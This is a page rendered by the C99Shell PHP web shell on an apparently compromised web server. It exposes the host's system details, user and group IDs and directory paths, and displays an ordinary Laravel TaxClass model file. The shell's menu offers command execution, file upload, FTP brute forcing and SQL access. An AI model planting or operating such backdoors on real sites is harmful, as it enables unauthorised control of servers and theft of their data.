!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Tax/Entities/   drwxr-xr-x
Free 26.47 GB of 117.98 GB (22.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TaxClass.php (2.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package TaxClass model
 * @author TechVillage <support@techvill.org>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 30-06-2022
 */

namespace Modules\Tax\Entities;

use 
App\Models\Model;

class 
TaxClass extends Model
{
    
/**
     * timestamps
     * @var boolean
     */
    
public $timestamps false;

    
/**
     * Fillable
     *
     * @var array
     */
    
protected $fillable = ['name''slug'];

    
/**
     * Foreign key with TaxRate model
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    
public function taxRates()
    {
        return 
$this->hasMany(TaxRate::class);
    }

    
/**
     * Store tax class
     *
     * @param array $data
     * @return array $response
     */
    
public function store($data)
    {
        
$response = ['status' => 'fail''message' => __('Something went wrong, please try again.')];

        if (
$taxClass parent::create($data)) {
            
$response = [
                
'status' => 'success',
                
'id' => $taxClass->id,
                
'name' => $taxClass->name,
                
'slug' => $taxClass->slug,
                
'message' => __('The :x has been successfully saved.', ['x' => __('Tax class')])
            ];
        }

        static::
forgetCache();
        return 
$response;
    }

    
/**
     * Update tax class
     *
     * @param array $data
     * @param int $id
     * @return array $response
     */
    
public function updateData($data$id)
    {
        
$response = ['status' => 'fail''message' => __('Tax class not found.')];
        
$result parent::where('id'$id);

        if (
$result->exists()) {
            
$result->update($data);

            
$response = [
                
'status' => 'success',
                
'name' => $data['name'],
                
'slug' => $data['slug'],
                
'message' => __('The :x has been successfully saved.', ['x' => __('Tax class')])];
        }

        static::
forgetCache();
        return 
$response;
    }

    
/**
     * Remove tax class
     *
     * @param int $id
     * @return array $response
     */
    
public function remove($id null)
    {
        
$response = ['status' => 'fail''message' => __('Tax class not found.')];
        
$record parent::where('id'$id)->orWhere('slug'$id)->first();
        if (!empty(
$record)) {
            if (
$record->id == 1) {
                
$response['message'] = __('Standard tax class can not be deleted.');
                return 
$response;
            }
            
$record->delete();
            
$response = ['status' => 'success''message' =>  __('The :x has been successfully deleted.', ['x' => __('Tax class')])];
        }
        static::
forgetCache();
        return 
$response;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0067 ]--